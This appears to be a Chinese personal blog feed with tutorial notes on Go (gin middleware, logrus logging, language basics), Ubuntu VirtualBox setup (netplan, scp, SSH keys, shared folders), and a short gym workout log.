9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 //main.go router.Use(m10, m11) // 全局注册中间件 router.GET("/1", func(c *gin.Context) { fmt.Println("index1......in") c.JSON(200, gin.H{"msg": "index1"}) c.Next() fmt.Println("index1......out") }) router.GET("/2", func(c *gin.Context) { fmt.Println("index2......in") c.JSON(200, gin.H{"msg": "index2"}) c.Next() fmt.Println("index2......out") }) //中间件 func m10(c *gin.Context) { fmt.Println("m10......in") c.Next() fmt.Println("m10......out") } func m11(c *gin.Context) { fmt.Println("m11......in") c.Next() fmt.Println("m11......out") } 1 2 3 4 5 6 m10......in m11......in index2......in index2......out m11......out m10......out 中间件传递数据 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 //main.go router.GET("/", func(c *gin.Context) { name, _ := c.Get("name") fmt.Println(name) _user, _ := c.Get("user") user, ok := _user.(Person) // 使用类型断言 if !ok { fmt.Println("类型断言失败") } else { fmt.Println(user.Name, user.Age) } c.JSON(200, gin.H{"msg": "index1"}) }) //中间件 func m10(c *gin.Context) { fmt.Println("m10......in") c.Set("name", "lihan") c.Set("user", Person{ Name: "lihan", Age: 18, }) } 路由分组 路由分组 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 package main import ( "github.com/gin-gonic/gin" ) type UserInfo struct { Name string `json:"name"` Age int `json:"age"` } type ArticleInfo struct { Title string `json:"title"` Id int `json:"id"` } type Response struct { Code int `json:"code"` Data any `json:"data"` Msg string `json:"msg"` } func UserListView(c *gin.Context) { var userList []UserInfo = []UserInfo{ {"lihan", 18}, {"李寒", 22}, {"op", 28}, } c.JSON(200, Response{200, userList, "success"}) } func ArticleListView(c *gin.Context) { var articleList []ArticleInfo = []ArticleInfo{ {"gin", 1}, {"go", 2}, {"vue", 3}, } c.JSON(200, Response{200, articleList, "success"}) } func UserRouterInit(api *gin.RouterGroup) { api1 := api.Group("api_1") { api1.GET("/users1", UserListView) api1.POST("/users2", UserListView) } } func ArticleRouterInit(api *gin.RouterGroup) { api2 := api.Group("api_2") { api2.GET("/users3", ArticleListView) api2.POST("/users4", ArticleListView) } } func main() { router := gin.Default() api := router.Group("api") UserRouterInit(api) ArticleRouterInit(api) router.GET("/users", UserListView) router.Run(":8080") } 路由分组中间件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 package main import "github.com/gin-gonic/gin" type Res struct { Code int `json:"code"` Data any `json:"data"` Msg string `json:"msg"` } func _UserListView(c *gin.Context) { type UserInfo struct { Name string `json:"name"` Age int `json:"age"` } var userList []UserInfo = []UserInfo{ {Name: "张三", Age: 18}, {Name: "李四", Age: 19}, {Name: "王五", Age: 20}, } c.JSON(200, Res{200, userList, "success"}) } func Middleware(c *gin.Context) { token := c.GetHeader("token") if token == "3238" { c.Next() return } c.JSON(200, Res{401, nil, "token error"}) c.Abort() } //中间件 func _UserRouterInit(router *gin.RouterGroup) { userManager := router.Group("user_manager") userManager.Use(Middleware) { userManager.GET("/users", _UserListView) // api/user_manager/users } } func main() { router := gin.Default() api := router.Group("api") api.GET("/login", func(c *gin.Context) { c.JSON(200, Res{200, nil, "login success"}) }) //不在中间件中的路由,不需要验证 _UserRouterInit(api) router.Run(":8080") } 闭包: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 func Middleware(c *gin.Context) { token := c.GetHeader("token") if token == "3238" { c.Next() return } c.JSON(200, Res{401, nil, "token error"}) c.Abort() } //中间件 //_UserRouterInit userManager.Use(Middleware) 可写为: func Middleware(msg string) gin.HandlerFunc { return func(c *gin.Context) { token := c.GetHeader("token") if token == "3238" { c.Next() return } c.JSON(200, Res{401, nil, msg}) c.Abort() } } //中间件 //_UserRouterInit userManager.Use(Middleware("token error")) 优点:可以传参,自定义,闭包 gin.Default()中间件 等于gin.New()加上Logger(), Recovery()若干中间件 gin log日志 记录bug 记录用户操作,猜测用户行为 gin内置日志 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 func main() { file, _ := os.Create("gin.log") gin.DefaultWriter = io.MultiWriter(file, os.Stdout) //同时写入文件和控制台 router := gin.Default() router.GET("/index", func(c *gin.Context) { c.String(200, "hello world") }) router.Run(":8080") } //在项目目录下生成gin.log文件 [GIN-debug] [WARNING] Creating an Engine instance with the Logger and Recovery middleware already attached. [GIN-debug] [WARNING] Running in "debug" mode. Switch to "release" mode in production. - using env: export GIN_MODE=release - using code: gin.SetMode(gin.ReleaseMode) [GIN-debug] GET /index --> main.main.func1 (3 handlers) [GIN-debug] [WARNING] You trusted all proxies, this is NOT safe. We recommend you to set a value. Please check https://pkg.go.dev/github.com/gin-gonic/gin#readme-don-t-trust-all-proxies for details. [GIN-debug] Listening and serving HTTP on :8080 [GIN] 2023/09/22 - 13:33:20 | 200 | 16.375µs | 192.168.56.1 | GET "/index" [GIN] 2023/09/22 - 13:33:20 | 404 | 506ns | 192.168.56.1 | GET "/favicon.ico" 定义格式 定义路由格式 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 gin.DebugPrintRouteFunc = func(httpMethod, absolutePath, handlerName string, numHandlers int) { log.Printf( "[lihan] %s %s %s %d\n", httpMethod, absolutePath, handlerName, numHandlers, ) } file, _ := os.Create("gin.log") gin.DefaultWriter = io.MultiWriter(file, os.Stdout) //同时写入文件和控制台 router := gin.Default() router.GET("/index", func(c *gin.Context) { c.String(200, "hello world") }) router.Run(":8080") 查看路由: 1 router.Routes() // 它会返回已注册的路由列表 环境切换(去掉debug日志) 1 2 gin.SetMode(gin.ReleaseMode) router := gin.Default() 定义日志格式 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 package main import ( "fmt" "io" "log" "os" "github.com/gin-gonic/gin" ) func myLogFormat(param gin.LogFormatterParams) string { // 你的自定义格式 return fmt.Sprintf( "[lihan] %s |%d| %s%s%s %s\n", param.TimeStamp.Format("2006-01-02 15:04:05"), param.StatusCode, //param.Method, param.MethodColor(), param.Method, param.ResetColor(), //根据不同的请求类型输出不同颜色 param.Path, ) } func main() { gin.SetMode(gin.ReleaseMode) gin.DebugPrintRouteFunc = func(httpMethod, absolutePath, handlerName string, numHandlers int) { log.Printf( "[lihan] %s %s %s %d\n", httpMethod, absolutePath, handlerName, numHandlers, ) } file, _ := os.Create("gin.log") gin.DefaultWriter = io.MultiWriter(file, os.Stdout) //同时写入文件和控制台 router := gin.New() //router.Use(gin.LoggerWithFormatter(myLogFormat)) router.Use(gin.LoggerWithConfig(gin.LoggerConfig{Formatter: myLogFormat})) router.GET("/index", func(c *gin.Context) { c.String(200, "hello world") }) router.Run(":8080") } 修改前: 修改后: 第三方日志 logrus 下载 1 go get github.com/sirupsen/logrus 日志等级 1 2 3 4 5 6 7 8 logrus.SetLevel(logrus.DebugLevel) logrus.Error("出错了") logrus.Warnln("警告") logrus.Infof("信息") logrus.Debugf("debug") logrus.Println("打印") fmt.Println(logrus.GetLevel()) 更改日志级别 日志只会显示大于等于设置的日志级别的日志 默认日志级别为info 日志级别一般是和系统挂钩,开发环境一般是debug,线上环境可能是warning。 1 logrus.SetLevel(logrus.DebugLevel) 日志等级 1 2 3 4 5 6 7 PanicLevel// 会抛一个异常 FatalLevel// 打印日志之后就会退出 ErrorLevel WarnLevel InfoLevel DebugLevel TraceLevel// 低级别 设置特定字段 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package main import "github.com/sirupsen/logrus" func main() { log_1 := logrus.WithField("app", "4.3logrus设置特定字段").WithField("service", "logrus") log_2 := logrus.WithFields(logrus.Fields{ "user_id": "22", "ip": "192.168.56.105", }) log_3 := log_1.WithFields(logrus.Fields{ "user_id": "22", "ip": "192.168.56.105", }) log_1.Errorf("出错了") log_2.Errorf("出错了") log_3.Errorf("出错了") } 设置输出格式 ForceColors: 是否强制使用额色输出。 DisableColors: 是否禁用额色输出。 ForceQuote: 是否强制引用所有值。 DisableQuote: 是否禁用引用所有值。 DisableTimestamp: 是否禁用时间戳记录 FullTimestamp:是否在连接到 TTY 时输出完整的时间戳 TimestampFormat: 用于输出完整时间戳的时间戳格式。 1 2 3 4 5 6 7 8 9 10 11 12 //输出行号 //设置输出格式为json格式 logrus.SetFormatter(&logrus.JSONFormatter{}) //设置输出时间戳 logrus.SetFormatter(&logrus.TextFormatter{ ForceColors: true, TimestampFormat: "2006-01-02 15:04:05", FullTimestamp: true, }) 控制台颜色 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package main import "fmt" func main() { // 前景色 fmt.Println("\033[30m 黑色 \033[0m") fmt.Println("\033[31m 红色 \033[0m") fmt.Println("\033[32m 绿色 \033[0m") fmt.Println("\033[33m 黄色 \033[0m") fmt.Println("\033[34m 蓝色 \033[0m") fmt.Println("\033[35m 紫色 \033[0m") fmt.Println("\033[36m 青色 \033[0m") fmt.Println("\033[37m 灰色 \033[0m") // 背景色 fmt.Println("\033[40m 黑色 \033[0m") fmt.Println("\033[41m 红色 \033[0m") fmt.Println("\033[42m 绿色 \033[0m") fmt.Println("\033[43m 黄色 \033[0m") fmt.Println("\033[44m 蓝色 \033[0m") fmt.Println("\033[45m 紫色 \033[0m") fmt.Println("\033[46m 青色 \033[0m") fmt.Println("\033[47m 灰色 \033[0m") } Hook 例如实现一个名称写入日志都加一个 field 我们需要实现两个方法以实现 Hook 接口 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 type MyHook struct { } func (hook MyHook) Levels() []logrus.Level { return logrus.AllLevels } func (hook MyHook) Fire(entry *logrus.Entry) error { entry.Data["app"] = "lihan" return nil } func main() { logrus.AddHook(&MyHook{}) logrus.Warnln("warning") logrus.Error("error") } logrus hook 是一个值得深入学习的设计,你可以轻易适用 hook 来实现多文件写入。 比如,warn&error 级别的日志独立输出到 error_warn.log 文件里,其他都放在一起。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package main import ( "os" "github.com/sirupsen/logrus" ) type MyHook struct { } func (hook MyHook) Levels() []logrus.Level { return []logrus.Level{logrus.WarnLevel, logrus.ErrorLevel} } func (hook MyHook) Fire(entry *logrus.Entry) error { //entry.Data["app"] = "lihan" //fmt.Println(entry.Level) file, _ := os.OpenFile("4.日志log/error_warn.log", os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0666) line, _ := entry.String() file.Write([]byte(line + "\n")) return nil } func main() { logrus.AddHook(&MyHook{}) logrus.Warnln("warning") logrus.Error("error") logrus.Debug("debug") logrus.Infoln("info") } 日志分割 按照时间分割 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 package main import ( "fmt" "os" "time" "github.com/sirupsen/logrus" ) type FileDateHook struct { file *os.File logPath string fileDate string //判断日期切换目录 appName string } func (hook FileDateHook) Levels() []logrus.Level { return []logrus.Level{logrus.WarnLevel, logrus.ErrorLevel} } func (hook FileDateHook) Fire(entry *logrus.Entry) error { timer := entry.Time.Format("2006-01-02_15-04") line, _ := entry.String() if hook.fileDate == timer { hook.file.Write([]byte(line)) return nil } //有新时间 hook.file.Close() os.MkdirAll(fmt.Sprintf("%s/%s", hook.logPath, timer), os.ModePerm) filename := fmt.Sprintf("%s/%s/%s.log", hook.logPath, timer, hook.appName) hook.file, _ = os.OpenFile(filename, os.O_WRONLY|os.O_APPEND|os.O_CREATE, 0600) hook.fileDate = timer hook.file.Write([]byte(line)) return nil } func InitFile(logPath, appName string) { fileDate := time.Now().Format("2006-01-02_15-04") //创建目录 err := os.MkdirAll(fmt.Sprintf("%s/%s", logPath, fileDate), os.ModePerm) if err != nil { logrus.Error(err) return } filename := fmt.Sprintf("%s/%s/%s.log", logPath, fileDate, appName) file, err := os.OpenFile(filename, os.O_WRONLY|os.O_APPEND|os.O_CREATE, 0600) if err != nil { logrus.Error(err) return } filehook := FileDateHook{file, logPath, fileDate, appName} logrus.AddHook(&filehook) } func main() { InitFile("4.日志log/logs_1", "lihan_log") for { time.Sleep(20 * time.Second) logrus.GetLevel() logrus.Warnln("warning") logrus.Error("error") logrus.Infoln("info") } } 按照等级分割 err,warn,info,all.log 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 package main import ( "fmt" "os" "github.com/sirupsen/logrus" ) const ( alllog = "all" errlog = "err" warnlog = "warn" infolog = "info" ) type FileLevelHook struct { file *os.File errFile *os.File warnFile *os.File infoFile *os.File logPath string } func (hook FileLevelHook) Levels() []logrus.Level { return logrus.AllLevels } func (hook FileLevelHook) Fire(entry *logrus.Entry) error { line, _ := entry.String() switch entry.Level { case logrus.ErrorLevel: hook.errFile.Write([]byte(line)) case logrus.WarnLevel: hook.warnFile.Write([]byte(line)) case logrus.InfoLevel: hook.infoFile.Write([]byte(line)) } hook.file.Write([]byte(line)) return nil } func InitLevel(logPath string) { err := os.MkdirAll(fmt.Sprintf("%s", logPath), os.ModePerm) if err != nil { logrus.Error(err) return } allFile, _ := os.OpenFile(fmt.Sprintf("%s/%s.log", logPath, alllog), os.O_WRONLY|os.O_APPEND|os.O_CREATE, 0600) errFile, _ := os.OpenFile(fmt.Sprintf("%s/%s.log", logPath, errlog), os.O_WRONLY|os.O_APPEND|os.O_CREATE, 0600) warnFile, _ := os.OpenFile(fmt.Sprintf("%s/%s.log", logPath, warnlog), os.O_WRONLY|os.O_APPEND|os.O_CREATE, 0600) infoFile, _ := os.OpenFile(fmt.Sprintf("%s/%s.log", logPath, infolog), os.O_WRONLY|os.O_APPEND|os.O_CREATE, 0600) filehook := FileLevelHook{allFile, errFile, warnFile, infoFile, logPath} logrus.AddHook(&filehook) } func main() { InitLevel("4.日志log/log_level") logrus.Error("error") logrus.Warnln("warning") logrus.Infoln("info") logrus.Println("print") } gin集成logrus 1 看不下去了呜哇哇哇!!!

9/11/2023
articleCard.readMore

健身房锻炼经验

健身房锻炼经验 1.练腿: 有氧训练: 在跑步机上进行了3分钟的有氧锻炼,级别设置在8。 单腿前抬: 进行了左右腿的交替前抬,这有助于加强髋部和腹部肌肉。 肩部拉伸: 使用弹力绳进行了肩部的拉伸,这有助于改善肩部灵活性和稳定性。 杠铃下蹲: 进行了4组下蹲练习,每组6次,重量分别为20千克、20千克和20千克。这是用于加强大腿和臀部的力量练习。 后腿举: 进行了4组每边10次的后腿举,这有助于锻炼小腿后部的肌肉。 夹腿: 使用35千克的负重进行了4组,每组10次的夹腿练习,这有助于加强大腿内侧的肌肉。 地滚轮: 使用瑜伽滚轮进行了放松和伸展,有助于缓解肌肉紧张和提高柔韧性。 效果 第二天我打了个羽毛球,第三天起床剧痛,疼了一晚上。 2.练肩 弹力绳热身肩部: 在健身前用弹力绳进行的热身活动,有助于活跃肩部肌肉和关节。 双手握哑铃片晃八字热身肩部: 哑铃肩部推举热身: 每只手6kg哑铃,共12次。 哑铃肩部推举: 每只手10-12.5kg哑铃,一组8次,4组。 双飞鸟: 侧平举变种,每只手使用5公斤的哑铃进行12次,然后使用2.5公斤的哑铃进行12次,共进行4组。 杠铃前平举: 将空杆杠铃从平举到眼睛高度,每组进行12次,共进行了4组。 坐姿杠铃提腿: 使用共20-40公斤的杠铃,每组进行12次,共进行了4组。 效果 第二天没什么感觉,感觉还可以上强度。

9/10/2023
articleCard.readMore

linux虚拟机安装与配置

新网卡配置 前置 姓名、主机名、用户名 1 2 3 4 5 您的姓名->指的是计算机登录时,显示的名字,与下面的2行密码(这个密码是用户名的密码,非姓名的密码,而且这个密码可以)配合登录计算机,登录之后就没什么用了 计算机名->指的是计算机登录之后的主机名,也就是hostname,在shell终端中输入hostname,会显示该名称,同时,shell终端的命令提示符格式就是:user@hostname:~$: 这个hostname就是这个计算机名,至于它的作用,自行百度即可 用户名:->指的是计算机登录之后的用户名,在shell终端中使用w命令可以查看当前所有登录过的用户名,使用who/whoami可以查看当前登录的用户名,使用ssh远程登录时,需要使用的就是用户名 配置虚拟机双网卡 如果为ubuntu新添加了网卡,那么通过命令ifconfig -a可以看到所有网卡,但是可能有网卡没有工作,这个情况下使用ifconfig就会看到出现网卡比使用参数-a少,那没有出现的网卡就是没有生效。 所有网卡: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 xanarry@vbs:~$ ip addr enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255 inet6 fe80::a00:27ff:fe34:4ea1 prefixlen 64 scopeid 0x20<link> ether 08:00:27:34:4e:a1 txqueuelen 1000 (Ethernet) RX packets 489 bytes 46089 (46.0 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 337 bytes 44455 (44.4 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 enp0s8: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet6 fe80::a00:27ff:fea2:190e prefixlen 64 scopeid 0x20<link> ether 08:00:27:a2:19:0e txqueuelen 1000 (Ethernet) RX packets 46 bytes 4880 (4.8 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 20 bytes 2761 (2.7 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 90 bytes 6813 (6.8 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 90 bytes 6813 (6.8 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 工作网卡: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 xanarry@vbs:~$ ifconfig enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255 inet6 fe80::a00:27ff:fe5e:ad3f prefixlen 64 scopeid 0x20<link> ether 08:00:27:5e:ad:3f txqueuelen 1000 (Ethernet) RX packets 78 bytes 9938 (9.9 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 70 bytes 13068 (13.0 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 84 bytes 6324 (6.3 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 84 bytes 6324 (6.3 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 如何生效: ubuntu20网络的配置信息将不在保存在/etc/network/interfaces文件中,虽然该文件依然存在,但是内容是空的。新系统已经使用netplan管理网络,对于配置信息,使用vim打开文件sudo vim /etc/netplan/00-installer-config.yaml,内容如下,可以看到网卡enp0s3下面有参数dhcp4: true,说明该网卡开启了dhch地址分配,但是并没有出现enp0s8,所以手动加入enp0s8。 注意:yaml文件名在不同的机器上文件名可能不同。 1 2 3 4 5 network: ethernets: enp0s3: dhcp4: true version: 2 添加过后的内容为: 1 2 3 4 5 6 7 network: ethernets: enp0s3: dhcp4: true enp0s8: dhcp4: true version: 2 最后执行 1 sudo netplan apply 生效 参考https://ubuntu.com/server/docs/network-configuration 万能https://git.cuc.edu.cn/ccs/linux-2023/LiMingxuan scp传输文件 1 2 scp test.txt lihan@192.168.56.103:/home/lihan/leo lihan@192.168.56.103's password: 一定要加上’:’,不能多打空格!! 记得无论是linux–>windows还是回传,都是在windows命令行操作 1 2 scp lihan@192.168.56.103:/home/lihan/leo/test.txt D:\大二学习\Linux\自学 lihan@192.168.56.103's password: vim操作 按i进行插入 :q!不保存退出 :wq!保存退出 记得sudo ssh免密登录 1.ssh登录Bad permission 1 2 3 4 5 6 7 8 9 10 找到.ssh文件夹。它通常位于C:\Users,例如C:\Users\Akkuman。 右键单击.ssh文件夹,然后单击“属性”。 找到并点击“安全”标签。 然后单击“高级”。 单击“禁用继承”,单击“确定”。 将出现警告弹出窗口。单击“从此对象中删除所有继承的权限”。 你会注意到所有用户都将被删除。让我们添加所有者。在同一窗口中,单击“编辑”按钮。 接下来,单击“添加”以显示“选择用户或组”窗口。 单击“高级”,然后单击“立即查找”按钮。应显示用户结果列表。 选择您的用户帐户。 然后单击“确定”(大约三次)以关闭所有窗口。 完成所有操作后,再次关闭并打开VSCode 并尝试连接到远程SSH主机。 现在这个问题应该解决了 2.ssh免密登录配置(以windows远程登录虚拟机linux为例) 确保linux和windows都有ssh后,首先在windows下生成公私钥 1 ssh-keygen -b 4096 弹出提示命名(如果只有一个公私钥对就直接按回车用默认命名),进行命名 弹出提示密码,直接回车两次跳过设置密码 将生成在C:\Users\leo.ssh下的公钥xxxx.pubscp发送到linux的/home/lihan/.ssh目录下,并替换authorized_keys文件内容 注意 如果有多个免密登录配置,记得在windows的C:\Users\leo.ssh目录下,修改config文件,指定公私钥地址 若仍存在问题 1 2 3 4 5 6 7 8 sudo vim /etc/ssh/sshd_config 修改 PubkeyAuthentication yes AuthorizedKeysFile .ssh/authorized_keys 添加 RSAAuthentication yes 也可能是 .ssh 或 .ssh/authorized_keys 文件权限问题 1 2 3 4 ls -l authorized_keys # 若 为 root 组,需要改为 登录用户 有权限的组 sudo chown lihan:lihan authorized_keys 共享文件夹 首先安装客机增强键 下载VBoxGuestAddtions_7.0.10 下载好后,在储存介质中挂载 打开虚拟机安装 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #提权 sudo su #更新apt-get apt-get update && apt-get upgrade #安装依赖工具 apt-get install dkms && apt-get install build-essential3. reboot4. 登陆后 #选择设备->安装增强功能(报错不用管 叉掉) ![](9.png) #挂载cdrom mount /dev/cdrom /mnt/ 出现 warning不用管 #安装 /mnt/VBoxLinuxAddtions.run #卸载 umount /mnt/ 挂载共享文件夹 执行共享文件夹的挂载命令 1 2 3 sudo mount -t vboxsf [你设置的共享文件夹名称名称] [挂载后的本地路径] #例如 sudo mount -t vboxsf virtualBoxFile /home/lihan/win_share 安装好后就可以删掉客机增强键的包了 使用sudo出现问题:xxx is not in the sudoers file 输入指令 1 2 # 进入root用户中,$变成了# su 输入指令 1 2 sudo adduser vboxuser sudo 注意,vboxuser就是我被玩坏,需恢复的用户,大家记得替换成自己的用户名 重启后就好了 linux clash https://github.com/ghostxu97/clash-for-linux 然后打开clash.razord.top/配置,7890或者9090端口 修改主机名 Hostname 1 2 3 4 5 6 7 8 9 10 sudo vim /etc/hostname # 将原有主机名替换为新的主机名 sudo vim /etc/hosts # 将 127.0.1.1 后的主机名替换为新的主机名 # 重启生效 注意:如果主机名文件修改错误或包含非法字符,会导致sudo命令等待异常久时间,主机名请仅包含小写英文字符与数字

9/9/2023
articleCard.readMore

归档

9/8/2023
articleCard.readMore

时间线

9/8/2023
articleCard.readMore

随笔

9/8/2023
articleCard.readMore

golang基础学习

Go语言学习 – 代码仓库 例子—基于go的即时通信系统 教程:https://www.yuque.com/aceld/mo95lb/dsk886 以ubuntu22.04.3桌面版+VScode为例,Linux搭建详见Linux教程,go安装和VScode安装网上自己看。 go version go1.21.0 linux/amd64 0.安装 – 下载对应版本的安装包 下载 解压安装包并安装 docs sudo rm -rf /usr/local/go && sudo tar -C /usr/local -xzf go1.22.1.linux-amd64.tar.gz 配置环境变量 1 2 3 4 sudo vim ~/.bashrc export PATH=$PATH:/usr/local/go/bin source ~/.bashrc 验证安装 1 go version 一键安装 1 2 3 4 5 6 7 8 9 10 # linux wget https://golang.org/dl/go1.22.1.linux-amd64.tar.gz rm -rf /usr/local/go && tar -C /usr/local -xzf go1.22.1.linux-amd64.tar.gz sudo vim ~/.bashrc export PATH=$PATH:/usr/local/go/bin source ~/.bashrc go version 1.main – 1 2 3 4 5 6 7 8 package main //定义了包名。你必须在源文件中非注释的第一行指明这个文件属于哪个包,如:package main。package main表示一个可独立执行的程序,每个 Go 应用程序都包含一个名为 main 的包 import "fmt" //告诉 Go 编译器这个程序需要使用 fmt 包(的函数,或其他元素),fmt 包实现了格式化 IO(输入/输出)的函数 func main() { fmt.Println("Hello Go")//Print不加\n,Println自带加\n } //程序开始执行的函数。main 函数是每一个可执行程序所必须包含的,一般来说都是在启动后第一个执行的函数(如果有 init() 函数则会先执行该函数) 1 2 3 //运行 go run test1_hello.go Hello Go 2.变量 – 2.1 指定变量类型 声明后若不赋值,使用默认值0 1 2 3 4 5 6 7 8 9 10 // var v_name v_type // v_name = value package main import "fmt" func main() { var a int fmt.Printf(" = %d\n", a) } – 2.2 根据值自行判定变量类型 1 var v_name = value – 2.3 省略var, 注意 :=左侧的变量不应该是已经声明过的,否则会导致编译错误。 1 2 3 4 5 6 7 v_name := value // 例如 var a int = 10 var b = 10 c : = 10 – 2.4 例子 – 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package main import "fmt" func main() { //第一种 使用默认值 var a int fmt.Printf("a = %d\n", a) //第二种 var b int = 10 fmt.Printf("b = %d\n", b) //第三种 省略后面的数据类型,自动匹配类型 var c = 20 fmt.Printf("c = %d\n", c) //第四种 省略var关键字 d := 3.14 fmt.Printf("d = %f\n", d) } 1 2 3 4 5 go run var.go a = 0 b = 10 c = 20 d = 3.140000 – 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 \\多变量声明 package main import "fmt" var x, y int var ( //这种分解的写法,一般用于声明全局变量 a int b bool ) var c, d int = 1, 2 var e, f = 123, "liudanbing" //这种不带声明格式的只能在函数体内声明 //g, h := 123, "需要在func函数体内实现" func main() { g, h := 123, "需要在func函数体内实现" fmt.Println(x, y, a, b, c, d, e, f, g, h) //不能对g变量再次做初始化声明 //g := 400 _, value := 7, 5 //实际上7的赋值被废弃,变量 _ 不具备读特性 //fmt.Println(_) //_变量的是读不出来的 fmt.Println(value) //5 } 1 2 3 4 go run mutiVar.go 0 0 0 false 1 2 123 liudanbing 123 需要在func函数体内实现 5 3.常量 – 常量中的数据类型只可以是布尔型、数字型(整数型、浮点型和复数)和字符串型。 – 3.1 常量定义格式 1 2 3 4 5 const identifier [type] = value //显示类型定义 const b string = "abc" //隐式类型定义 const b = "abc" – 3.2 常量枚举 1 2 3 4 5 const ( Unknown = 0 Female = 1 Male = 2 )//数字 0、1 和 2 分别代表未知性别、女性和男性 – 3.3 常量表达式 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 //常量可以用len(), cap(), unsafe.Sizeof()常量计算表达式的值。常量表达式中,函数必须是内置函数,否则编译不过: package main import "unsafe" const ( a = "abc" b = len(a) c = unsafe.Sizeof(a) ) func main(){ println(a, b, c) } 1 abc, 3, 16//字符串类型在 go 里是个结构, 包含指向底层数组的指针和长度,这两部分每部分都是 8 个字节,所以字符串类型大小为 16 个字节。 – 3.4 常量iota 1 2 3 4 5 6 7 8 9 10 type Allergen int const ( _ = iota // ignore first value by assigning to blank identifier IgEggs Allergen = 1 // 1 << 0 which is 00000001 IgChocolate // 1 << 1 which is 00000010 IgNuts = 1 << iota // 1 << 2 which is 00000100 IgStrawberries // 1 << 3 which is 00001000 IgShellfish // 1 << 4 which is 00010000 ) 1 1 2 4 8 16 – 1 2 3 4 5 const ( Apple, Banana = iota + 1, iota + 2 Cherimoya, Durian Elderberry, Fig ) 1 2 3 4 5 6 // Apple: 1 // Banana: 2 // Cherimoya: 2 // Durian: 3 // Elderberry: 3 // Fig: 4 iota:自增,不在乎位置,每一行自增 const组中仅仅有一个标示符在一行的时候,它将使用增长的iota取得前面的表达式并且再运用它 4.函数 1 2 3 func function_name( [parameter list] ) [return_types] { 函数体 } – 4.1 函数多返回值 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package main import "fmt" func swap(x, y string) (string, string) { return y, x } func main() { a, b := swap("Mahesh", "Kumar") fmt.Println(a, b) } //Kumar Mahesh – 4.2 ini/main和import init 函数可以在package main中或其他package中,可在同一package多次出现 main 函数只能在package main中 这两个函数在定义时不能有参数和返回值,且会自动执行。 package main就必须包含一个main函数 如果一个包会被多个包同时导入,那么它只会被导入一次 当一个包被导入时,如果该包还导入了其它的包,那么会先将其它包导入进来,然后再对这些包中的包级常量和变量进行初始化,接着执行init函数(如果有的话),依次类推。 – – 4.3 go指针 Go 语言的取地址符是 &,放到一个变量前使用就会返回相应变量的内存地址。 函数中引用传递’*' 变量指向地址’&' 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package main import "fmt" func main() { /* 定义局部变量 */ var a int = 100 var b int= 200 fmt.Printf("交换前,a 的值 : %d\n", a ) fmt.Printf("交换前,b 的值 : %d\n", b ) 